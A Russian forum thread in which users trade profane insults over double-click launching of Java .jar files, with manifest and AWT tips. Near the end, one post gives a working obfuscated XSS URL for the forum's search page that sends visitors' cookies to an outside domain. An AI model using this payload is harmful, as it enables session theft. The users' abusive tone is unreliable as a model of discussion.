Перейти к публикации
  • Сейчас на странице   Всего пользователей: 0   (0 пользователей, 0 гостей)

Hed-kun

Программирование, т. 5.1.

Рекомендованные сообщения

кант хейтер

и наверняка приверженец какого нить шарпика и по идеалогическим соображениям пытается выместить максимум хейта :xd:

Поделиться сообщением


Ссылка на сообщение

блять смотри

кант жалуется что ему неудобно тестить жарники

на самом деле все удобно. весь мир пишет программы на питоне, раби, жаве и работает через терминал

но только одному канту ОБЯЗАТЕльно надо чтобы ДАБЛКЛИКОМ все запускалось

дабл кликом запускается конечный продукт, упакованый обернутый красиво с иконочкой,

а для учебы/работы терминал мастхев просто блять, если ты с нашей планеты офк

 

чуешь разницу?

я не говорил что любой бинарник материал после компиляции обязан запускаться по даблклику

 

просто джава это умеет (если не знать наверняка что он умеет можно хотя бы интуитивно догадываться что должна уметь), она компилирует проект в один файл

в чём проблема если он хочет запускать его даблкликом, а не хуярить батники?

 

я вообще занимают кустарных программированием, но у меня полтора десяка проектов, ещё десяток в архиве это которые "совсем-совсем неактуальны"

если бы я хуярил батники на каждый из них чтобы их запускать вне ИДЕ я бы тоже наверное ебанулся

Поделиться сообщением


Ссылка на сообщение

поле долбоеб полный

 

где я написал, что я хочу тестить хеллоуворлд даблкликом?

 

Я хотел узнать, как заставить джавамашину самой запуститься по даблклику по файлу .jar, ведь это такое сложное занятие, что я просто хуею

 

Даже ебаный псд можно даблкликом запустить, а джава не может :lol:

 

 

Я не знаю, какие ассоциации могли сбиться, если в этот же день был установлен jdk. Их просто нет в принципе

 

 

А теперь этот хуесос еще уверяет, что джава и не должна уметь это делать :lol:

И причем тут вообще кроссплатформенность. Убунту отлично знает, что увидя файлик .sh надо предложить пользователю открыть его в терминале, а не сказать, я ебу что это за хуйня :lol:


Торжество разума в том, чтобы уживаться с теми, у кого этого разума нет. Вольтер.
Чтобы хорошо высыпаться, нужно спать 8 часов в день. И еще столько же ночью.

Поделиться сообщением


Ссылка на сообщение

пожар тут только у тебя, твоя хуесосная джава соснула :lol:


Торжество разума в том, чтобы уживаться с теми, у кого этого разума нет. Вольтер.
Чтобы хорошо высыпаться, нужно спать 8 часов в день. И еще столько же ночью.

Поделиться сообщением


Ссылка на сообщение
(изменено)

поле долбоеб полный

 

где я написал, что я хочу тестить хеллоуворлд даблкликом?

 

Я хотел узнать, как заставить джавамашину самой запуститься по даблклику по файлу .jar, ведь это такое сложное занятие, что я просто хуею

 

Даже ебаный псд можно даблкликом запустить, а джава не может :lol:

 

 

Я не знаю, какие ассоциации могли сбиться, если в этот же день был установлен jdk. Их просто нет в принципе

 

 

А теперь этот хуесос еще уверяет, что джава и не должна уметь это делать :lol:

И причем тут вообще кроссплатформенность. Убунту отлично знает, что увидя файлик .sh надо предложить пользователю открыть его в терминале, а не сказать, я ебу что это за хуйня :lol:

Это элементарно в java делается. Нужно создать папку META-INF в корне jar-ника, в нем создать файл manifest.mf (чаще всего и то и другое создается автоматом, если не перешел на чонить типа ant/maven с детальной сборкой и собираешь в IDE) и захуярить в нем строчку

Main-Class: package.name.MainClass

и все будет запускаться по дабл клику. А чтобы было кроссплатформено на 100% можно еще ебануть

Class-Path: .

 

Вообще неплохо бы изучить типовую структуру программ на java, как компилить, как собирать в норм джарники, а потом уже говнокодить. То что я написал, это основа основ. Странно что ты этого не знал и никто не знал из топана.


Изменено пользователем DIMAN123456789

Поделиться сообщением


Ссылка на сообщение

идея сама создала манифест и написала туда строку Main-Class

 

результата 0

 

добавил точку

 

теперь даже нет мелкого подвисания при запуске

сразу вылетает


Торжество разума в том, чтобы уживаться с теми, у кого этого разума нет. Вольтер.
Чтобы хорошо высыпаться, нужно спать 8 часов в день. И еще столько же ночью.

Поделиться сообщением


Ссылка на сообщение

идея сама создала манифест и написала туда строку Main-Class

 

результата 0

 

добавил точку

 

теперь даже нет мелкого подвисания при запуске

сразу вылетает

Надеюсь ты не пытаешься сделать System.out.*?????? Он так не сработает легко и просто. Ибо сам подумай, куда он писать твою хуйню будет? Сделай пустой фрейм и заебень в него лейбл и проверь.

Типа такого:

import java.awt.*;
import java.awt.event.WindowAdapter;
import java.awt.event.WindowEvent;

public class MainClass
{
   public static void main(String[] args)
   {
    Frame f = new Frame();
    f.addWindowListener(new WindowAdapter() {
	    public void windowClosing(WindowEvent e) {
		    System.exit(0);
	    }
    });
    f.add(new Label("Hello Kant!"));
    f.setSize(100, 50);
    f.setVisible(true);
   }
}

Поделиться сообщением


Ссылка на сообщение

офк пытаюсь, я же это и писал в первом же посте

 

я и говорю, что джава не в состоянии прокинуть в свой процесс консоль

 

неужели это настолько сложно, что все могут, а джава нет

 

При java -jar она ведь может, так почему нельзя сделать автоматический подхват stdout, который ей та же винда предоставит


Торжество разума в том, чтобы уживаться с теми, у кого этого разума нет. Вольтер.
Чтобы хорошо высыпаться, нужно спать 8 часов в день. И еще столько же ночью.

Поделиться сообщением


Ссылка на сообщение
(изменено)

офк пытаюсь, я же это и писал в первом же посте

 

я и говорю, что джава не в состоянии прокинуть в свой процесс консоль

 

неужели это настолько сложно, что все могут, а джава нет

 

При java -jar она ведь может, так почему нельзя сделать автоматический подхват stdout, который ей та же винда предоставит

Ты видимо совсем не понимаешь. Вот ты скомпилил прогу на своём говноСи, ты её сможешь запустить одинаково успешно на всех платформах с дабл клика без дополнительных телодвижений, без дополнительных проверок и тд и тп, чтоб прям консолька открылась, туда передалось управление и там высветилось "Hello world!"? Вот как только утвердительно ответишь на этот вопрос, перейдем к разговору по java.


Изменено пользователем DIMAN123456789

Поделиться сообщением


Ссылка на сообщение

Jar - по сути платформонезавивмыи бинарник, хуевое сравнение

Подклучением консоли должна заниматся джава установленая на конкретнои ОС

Поделиться сообщением


Ссылка на сообщение
(изменено)

Шли года, а продота по прежднему оставалась в говне (заходить не с хрома)

 

http://prodota.ru/game/?stext=


Изменено пользователем Двапой

Мобильное приложение для продоты https://play.google....id=ru.prodota.m

Поделиться сообщением


Ссылка на сообщение

шотам? лениво запускать неХром


0BdKg2e.png

Скрытый текст

 

Цитата

посоны

я джуса забанил

мне пиздос?

Цитата

xHjcvkA.gif

 

 

 

 

 

Поделиться сообщением


Ссылка на сообщение
(изменено)

Там xss. Вот смог кукисы отправить на свой сервак (боятся не стоит на серваке ничего не ловится, как вариант замените домен)

http://prodota.ru/game/?stext=%22%3E%3Cscript%3E$.get%28location.href.split%28/pr/.source%29[0]%2B%2Frankedgaming.ru%2F.source%2B/\%3F/.source[2]%2B/c=/.source%2Bdocument.cookie%29%3C%2Fscript%3E

 

А вот пруф 4433910.png

 

Код такой запутанный потому что скобки там заменяются на \'

 

поэтому через регэкспы и их соурсы

 

по сути код выглядит так

 

$.get(location.href.split(/pr/.source)[0]+/rankedgaming.ru/.source+/\?/.source[2]+/c=/.source+document.cookie)


Изменено пользователем Двапой

Мобильное приложение для продоты https://play.google....id=ru.prodota.m

Поделиться сообщением


Ссылка на сообщение

Я не шарю в этом, но почему на хроме не работает?


Ruby%20Wood%201.jpg

Поделиться сообщением


Ссылка на сообщение
Гость
Эта тема закрыта для публикации сообщений.

×
×
  • Создать...